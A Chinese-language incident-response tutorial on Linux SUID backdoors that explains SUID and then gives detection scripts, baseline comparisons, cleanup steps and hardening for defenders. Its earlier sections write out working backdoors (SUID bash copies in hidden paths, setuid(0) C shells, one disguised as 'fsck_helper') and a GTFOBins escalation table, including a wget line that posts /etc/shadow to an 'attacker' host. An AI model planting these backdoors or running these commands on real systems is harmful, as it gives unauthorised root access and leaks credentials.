22 - SUID 后门 SUID(Set User ID)是 Linux 文件权限的特殊位,允许程序以文件所有者的权限运行
攻击者利用 SUID 机制实现无需密码的权限提升 和持久化后门
前置知识:01-系统基础与关键目录 、06-文件系统取证
一、SUID 原理回顾 1.1 SUID 权限基础 什么是 SUID
当一个可执行文件设置了 SUID 位,任何用户执行该文件时,进程将以文件所有者 的身份运行
最典型的例子:/usr/bin/passwd 的所有者是 root,设置了 SUID,普通用户执行时以 root 权限修改 /etc/shadow
权限表示
1 2 3 4 5 6 ls -la /usr/bin/passwd
数字权限
1 2 3 4 5 6 常规权限:rwxr-xr-x = 755 SUID 权限:rwsr-xr-x = 4755 4 = SUID2 = SGID1 = Sticky Bit
1.2 SUID 执行过程 进程权限模型
1 2 3 4 5 6 7 8 9 10 11 ┌──────────────────────────────────────────────────────┐ │ 普通执行:./ program │ │ Real UID = 当前用户 Effective UID = 当前用户 │ │ → 以当前用户权限运行 │ └──────────────────────────────────────────────────────┘ ┌──────────────────────────────────────────────────────┐ │ SUID 执行:./ suid_program (owner= root, SUID set ) │ │ Real UID = 当前用户 Effective UID = root │ │ → 以 root 权限运行! │ └──────────────────────────────────────────────────────┘
关键区别
Real UID (RUID):实际执行者
Effective UID (EUID):权限判定依据
Saved UID (SUID):用于临时降权和恢复
SUID 对 shell 脚本不生效 (出于安全考虑,现代 Linux 内核忽略脚本文件的 SUID 位)
SUID 仅对编译的二进制文件 生效
1.3 为何 SUID 对应急响应至关重要 攻击者视角
获取低权限 shell 后,通过 SUID 二进制文件提权到 root
创建自定义 SUID 文件实现持久化——即使密码被改,仍可提权
SUID 文件不需要 crontab、systemd 等机制,静默存在于文件系统中
防御者视角
系统上存在大量合法 SUID 文件,需要区分合法与恶意
SUID 后门可以放在任何目录,无固定位置
不会出现在进程列表中(仅在被执行时短暂生效)
常规安全工具可能忽略 SUID 文件检查
二、SUID 后门创建方式 2.1 最简单的 SUID 后门:复制 bash 攻击步骤(需已获得 root 权限)
1 2 3 4 5 6 7 8 9 10 11 12 13 cp /bin/bash /tmp/.xchmod u+s /tmp/.xchmod 4755 /tmp/.xcp /bin/bash /var/tmp/.cache_updatechmod u+s /var/tmp/.cache_updatecp /bin/bash /usr/local/bin/check_systemchmod u+s /usr/local/bin/check_system
利用方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 /tmp/.x -p /tmp/.x -p -c 'id' /tmp/.x -c 'id'
变体:dash 没有 -p 限制
1 2 3 4 5 cp /bin/dash /tmp/.ychmod u+s /tmp/.y/tmp/.y
2.2 自定义 C 程序 SUID 后门 基础版本
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main () { setuid(0 ); setgid(0 ); system("/bin/bash" ); return 0 ; }
1 2 gcc -o /tmp/.helper suid_shell.c chmod u+s /tmp/.helper
带密码保护的版本(更隐蔽)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main (int argc, char *argv[]) { if (argc != 2 || strcmp (argv[1 ], "s3cr3t_k3y" ) != 0 ) { printf ("Usage: %s <option>\n" , argv[0 ]); return 1 ; } setuid(0 ); setgid(0 ); execl("/bin/bash" , "bash" , "-p" , NULL ); return 0 ; }
伪装为系统工具的版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main (int argc, char *argv[]) { if (argc > 1 && strcmp (argv[1 ], "--repair" ) == 0 ) { setuid(0 ); setgid(0 ); system("/bin/bash -p" ); } else { printf ("fsck_helper v1.2 - filesystem check utility\n" ); printf ("Usage: fsck_helper --check /dev/sdX\n" ); } return 0 ; }
2.3 利用 chmod 实现 SUID 后门 攻击者不一定创建新文件,也可能对已有文件添加 SUID 位
1 2 3 4 5 6 7 8 chmod u+s /usr/bin/findchmod u+s /usr/bin/vimchmod u+s /usr/bin/python3
这种方式更隐蔽——文件本身是合法的,只是权限被修改
三、GTFOBins SUID 利用速查表 3.1 什么是 GTFOBins GTFOBins(https://gtfobins.github.io)是一个 Unix 二进制文件的安全利用数据库
记录了哪些合法程序在 SUID 场景下可被滥用于权限提升
应急响应时需要逐一检查系统上的 SUID 文件是否在 GTFOBins 列表中
3.2 SUID 利用命令表
程序
SUID 利用命令
说明
find
find . -exec /bin/bash -p \; -quit
通过 -exec 执行任意命令
vim
vim -c ':!bash -p'
在 vim 中执行 shell
python
python -c 'import os; os.execl("/bin/bash","bash","-p")'
Python 调用 execl
perl
perl -e 'exec "/bin/bash -p"'
Perl 执行 bash
nmap
nmap --interactive 然后 !bash -p(旧版)
仅适用于 nmap 2.02-5.21
awk
awk 'BEGIN {system("/bin/bash -p")}'
awk 执行系统命令
less
less /etc/passwd 然后 !bash -p
less 中执行命令
more
more /etc/passwd 然后 !bash -p
more 中执行命令(需终端小于文件)
man
man man 然后 !bash -p
man 使用 less/more 作为 pager
env
env /bin/bash -p
env 执行任意程序
cp
cp /etc/shadow /tmp/
可读取任意文件
mv
可覆盖任意文件
篡改 /etc/passwd 等
wget
wget --post-file=/etc/shadow http://attacker/
外传敏感文件
curl
curl file:///etc/shadow
读取任意文件
php
php -r 'pcntl_exec("/bin/bash",["-p"]);'
PHP 执行 bash
ruby
ruby -e 'exec "/bin/bash -p"'
Ruby 执行 bash
node
node -e 'require("child_process").spawn("/bin/bash",["-p"],{stdio:[0,1,2]})'
Node.js 执行 bash
tar
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar checkpoint 特性
zip
zip /tmp/x.zip /tmp/x -T --unzip-command="bash -p -c id"
zip 测试命令注入
sed
sed -n '1e exec bash -p' /etc/hosts
sed 执行命令(GNU sed)
3.3 实际利用演示 示例:find SUID 提权
1 2 3 4 5 6 7 8 9 10 11 12 13 ls -la /usr/bin/find/usr/bin/find /tmp -maxdepth 0 -exec /bin/bash -p \; -quit id /usr/bin/find /tmp -maxdepth 0 -exec cat /etc/shadow \; -quit
示例:python SUID 提权
1 2 3 4 5 6 7 /usr/bin/python3 -c ' import os os.setuid(0) os.setgid(0) os.execl("/bin/bash", "bash", "-p") '
示例:vim SUID 提权
1 2 3 4 /usr/bin/vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")' /usr/bin/vim -c ':!bash -p'
四、检测方法 4.1 查找所有 SUID 文件 基础命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 find / -perm -4000 -type f -ls 2>/dev/null find / -perm -4000 -user root -type f -ls 2>/dev/null find / -perm /6000 -type f -ls 2>/dev/null find / -perm -4000 -type f \ ! -path "/usr/bin/*" \ ! -path "/usr/sbin/*" \ ! -path "/usr/lib/*" \ ! -path "/usr/libexec/*" \ -ls 2>/dev/null
输出保存用于后续对比
1 find / -perm -4000 -type f -ls 2>/dev/null | sort -k11 > /tmp/suid_files_$(date +%Y%m%d).txt
4.2 与已知基线对比 Ubuntu 22.04 默认 SUID 文件列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 /usr/bin/chfn /usr/bin /chsh /usr /bin/fusermount 3/usr/bin /gpasswd /usr /bin/mount /usr/bin /newgrp /usr /bin/passwd /usr/bin /pkexec /usr /bin/su /usr/bin /sudo /usr /bin/umount /usr/lib /dbus-1.0/dbus -daemon-launch-helper/usr/lib /openssh/ssh -keysign/usr/libexec /polkit-agent-helper-1
CentOS 7/8 默认 SUID 文件列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 /usr/bin/chage /usr/bin /chfn /usr /bin/chsh /usr/bin /gpasswd /usr /bin/mount /usr/bin /newgrp /usr /bin/passwd /usr/bin /pkexec /usr /bin/su /usr/bin /sudo /usr /bin/umount /usr/sbin /mount.nfs /usr /sbin/pam _timestamp_check/usr/sbin /unix_chkpwd /usr /lib/polkit -1 /polkit-agent-helper-1 /usr/libexec /dbus-1/dbus -daemon-launch-helper
对比脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #!/bin/bash KNOWN_SUID=( /usr/bin/chfn /usr/bin/chsh /usr/bin/fusermount3 /usr/bin/gpasswd /usr/bin/mount /usr/bin/newgrp /usr/bin/passwd /usr/bin/pkexec /usr/bin/su /usr/bin/sudo /usr/bin/umount /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/libexec/polkit-agent-helper-1 ) echo "[*] Checking for unknown SUID files..." while IFS= read -r line; do file=$(echo "$line " | awk '{print $NF}' ) known=false for k in "${KNOWN_SUID[@]} " ; do [ "$file " = "$k " ] && known=true && break done if ! $known ; then echo "[!] UNKNOWN SUID: $line " fi done < <(find / -perm -4000 -type f -ls 2>/dev/null)echo "[*] Check complete."
使用包管理器验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 for f in $(find / -perm -4000 -type f 2>/dev/null); do pkg=$(dpkg -S "$f " 2>/dev/null) if [ -z "$pkg " ]; then echo "[!] NOT FROM PACKAGE: $f " else expected=$(dpkg -V "$(echo "$pkg " | cut -d: -f1) " 2>/dev/null | grep "$f " ) [ -n "$expected " ] && echo "[!] MODIFIED: $f ($expected )" fi done for f in $(find / -perm -4000 -type f 2>/dev/null); do rpm -qf "$f " &>/dev/null || echo "[!] NOT FROM RPM: $f " rpm -Vf "$f " 2>/dev/null | grep -q "^..5" && echo "[!] MD5 CHANGED: $f " done
4.3 重点排查目录 合法 SUID 文件通常在 /usr/bin、/usr/sbin、/usr/lib、/usr/libexec
以下目录出现 SUID 文件高度可疑
目录
可疑原因
/tmp
临时目录,所有用户可写
/var/tmp
持久化临时目录
/dev/shm
内存文件系统,重启消失
/home/*
用户目录,不应有 SUID
/var/www
Web 目录
/opt
第三方软件,需逐个确认
/usr/local
本地安装,需确认来源
聚焦排查命令
1 2 3 4 5 6 find /tmp /var/tmp /dev/shm /home /var/www /opt /usr/local \ -perm -4000 -type f -ls 2>/dev/null find / -perm -4000 -type f -name ".*" -ls 2>/dev/null
4.4 检查文件修改时间与属性 时间分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 find / -perm -4000 -type f -exec stat {} \; 2>/dev/null find / -perm -4000 -type f -mtime -30 -ls 2>/dev/null find / -perm -4000 -type f -ctime -30 -ls 2>/dev/null find / -perm -4000 -type f -exec bash -c ' mtime=$(stat -c %Y "$1" 2>/dev/null) ctime=$(stat -c %Z "$1" 2>/dev/null) diff=$((ctime - mtime)) if [ $diff -gt 86400 ]; then echo "[!] SUID bit may have been added later: $1 (mtime-ctime diff: ${diff}s)" fi ' _ {} \; 2>/dev/null
文件内容分析
1 2 3 4 5 6 7 8 9 10 11 file /tmp/.suspicious_file strings /tmp/.suspicious_file | grep -iE "(shell|bash|/bin/|system|exec|setuid)" md5sum /tmp/.suspicious_file /bin/bash /bin/dash /bin/shldd /tmp/.suspicious_file
4.5 自动化检测脚本 完整的 SUID 后门排查脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 #!/bin/bash echo "=========================================" echo " SUID File Security Audit" echo " $(date) " echo "=========================================" echo "" echo "[1] All SUID files on system:" echo "-------------------------------------------" find / -perm -4000 -type f -ls 2>/dev/null | sort -k11 echo "" echo "[2] SUID files in suspicious directories:" echo "-------------------------------------------" find /tmp /var/tmp /dev/shm /home /var/www /opt \ -perm -4000 -type f -ls 2>/dev/null echo "" echo "[3] Hidden SUID files (name starts with dot):" echo "-------------------------------------------" find / -perm -4000 -type f -name ".*" -ls 2>/dev/null echo "" echo "[4] SUID files modified in last 30 days:" echo "-------------------------------------------" find / -perm -4000 -type f -mtime -30 -ls 2>/dev/null echo "" echo "[5] SUID files NOT from package manager:" echo "-------------------------------------------" for f in $(find / -perm -4000 -type f 2>/dev/null); do if command -v dpkg &>/dev/null; then dpkg -S "$f " &>/dev/null || echo " [!] $f " elif command -v rpm &>/dev/null; then rpm -qf "$f " &>/dev/null || echo " [!] $f " fi done echo "" echo "[6] SUID files that are copies of shells:" echo "-------------------------------------------" bash_md5=$(md5sum /bin/bash 2>/dev/null | awk '{print $1}' ) dash_md5=$(md5sum /bin/dash 2>/dev/null | awk '{print $1}' ) sh_md5=$(md5sum /bin/sh 2>/dev/null | awk '{print $1}' ) for f in $(find / -perm -4000 -type f 2>/dev/null); do fmd5=$(md5sum "$f " 2>/dev/null | awk '{print $1}' ) if [ "$fmd5 " = "$bash_md5 " ] || [ "$fmd5 " = "$dash_md5 " ] || [ "$fmd5 " = "$sh_md5 " ]; then [ "$f " != "/bin/bash" ] && [ "$f " != "/bin/dash" ] && [ "$f " != "/bin/sh" ] && \ echo " [!] SHELL COPY: $f " fi done echo "" echo "[7] GTFOBins candidates with SUID:" echo "-------------------------------------------" GTFO_BINS=(find vim vi python python3 perl nmap awk gawk nawk less more man env cp mv wget curl php ruby node tar zip sed ed nano tclsh wish expect git ftp socat strace ltrace gdb valgrind) for bin in "${GTFO_BINS[@]} " ; do path=$(which "$bin " 2>/dev/null) if [ -n "$path " ] && [ -u "$path " ]; then echo " [!] GTFOBins SUID: $path " fi done echo "" echo "[*] Audit complete."
五、清除与修复 5.1 清除 SUID 后门 方法一:移除 SUID 位
1 2 3 4 5 6 chmod u-s /tmp/.xls -la /tmp/.x
方法二:直接删除恶意文件
1 2 3 4 5 6 cp -a /tmp/.x /tmp/ir_evidence/suid_backdoor_$(date +%Y%m%d)md5sum /tmp/.x >> /tmp/ir_evidence/hashes.txtrm -f /tmp/.x
方法三:恢复被修改的合法文件
1 2 3 4 5 6 7 chmod u-s /usr/bin/findapt install --reinstall findutils yum reinstall findutils
5.2 恢复与验证 验证清除效果
1 2 3 4 5 find / -perm -4000 -type f -ls 2>/dev/null | sort -k11 > /tmp/suid_after_cleanup.txt diff /tmp/suid_baseline.txt /tmp/suid_after_cleanup.txt
检查是否有复活机制
1 2 3 4 5 6 7 8 grep -r 'chmod.*4[0-7][0-7][0-7]\|chmod.*u+s' /var/spool/cron/ /etc/cron* 2>/dev/null grep -r 'chmod.*u+s\|chmod.*4755' /etc/systemd/ /usr/lib/systemd/ 2>/dev/null grep -r 'chmod.*u+s\|chmod.*4755' /etc/rc.local /etc/init.d/ 2>/dev/null
5.3 加固建议 挂载选项:nosuid
1 2 3 4 5 6 7 8 9 10 11 tmpfs /tmp tmpfs defaults,nosuid,noexec,nodev 0 0 tmpfs /dev/shm tmpfs defaults,nosuid,noexec,nodev 0 0 mount -o remount,nosuid /tmp mount -o remount,nosuid /dev/shm mount | grep -E '(tmp|shm)' | grep nosuid
定期 SUID 审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 find / -perm -4000 -type f -ls 2>/dev/null | sort -k11 > /root/suid_baseline.txt CURRENT=$(find / -perm -4000 -type f 2>/dev/null | sort ) BASELINE=$(awk '{print $NF}' /root/suid_baseline.txt | sort ) DIFF=$(diff <(echo "$BASELINE " ) <(echo "$CURRENT " )) if [ -n "$DIFF " ]; then echo "SUID files changed:" | mail -s "SUID Alert" admin@example.com echo "$DIFF " | mail -s "SUID Alert Details" admin@example.com fi
Auditd 监控 chmod SUID
1 2 3 4 5 6 7 8 9 -a always,exit -F arch =b64 -S chmod -S fchmod -S fchmodat -F auid>=1000 -F auid!=4294967295 -k suid_change auditctl -R /etc/audit/rules.d/suid_monitor.rules ausearch -k suid_change
最小化 SUID 文件数量
1 2 3 4 5 chmod u-s /usr/bin/chfn chmod u-s /usr/bin/chsh chmod u-s /usr/bin/newgrp
六、实战演练 Lab 环境:labs/16-persistence-suid/ 场景描述
安全团队收到告警:某台 Linux 服务器上有一个低权限用户疑似获得了 root 权限
初步调查发现该用户近期没有 sudo 记录
怀疑存在 SUID 后门
练习步骤
全盘搜索 SUID 文件
1 find / -perm -4000 -type f -ls 2>/dev/null
与默认基线对比,找出异常项
检查可疑文件的属性
1 2 3 4 file /path/to/suspicious strings /path/to/suspicious | head -30 md5sum /path/to/suspiciousstat /path/to/suspicious
验证是否为 bash/dash 的副本
1 md5sum /path/to/suspicious /bin/bash /bin/dash /bin/sh
检查 GTFOBins 类型的 SUID 滥用
1 2 3 4 for cmd in find vim python3 perl awk env ; do path=$(which $cmd 2>/dev/null) [ -u "$path " ] 2>/dev/null && echo "SUID: $path " done
清除后门并验证
检查是否有复活机制(crontab、systemd、rc.local)
部署 nosuid 挂载和 auditd 监控
思考题 Q1:为什么 bash 需要 -p 参数才能保持 SUID 权限,而 dash 不需要?
A:bash 内置安全机制,启动时检测 EUID != RUID 就自动 drop privileges。dash 没有这个机制。这是设计哲学的差异。
Q2:nosuid 挂载选项是否能完全防止 SUID 后门?
A:不能完全防止。攻击者可以将 SUID 文件放在没有 nosuid 的分区(如 /usr/local)。但 nosuid 可以保护 /tmp、/dev/shm 等高危目录。
Q3:如何检测攻击者使用 cp --preserve=mode 复制了一个 SUID 文件?
1 2 3 4 find / -perm -4000 -type f -ctime -7 -ls 2>/dev/null
Q4:容器环境(Docker)中的 SUID 风险如何评估?
A:容器默认以 root 运行时,SUID 风险与主机类似
使用 --security-opt no-new-privileges 可阻止 SUID 提权
使用 --cap-drop ALL 移除不必要的 capabilities
1 docker run --security-opt no-new-privileges --cap-drop ALL myimage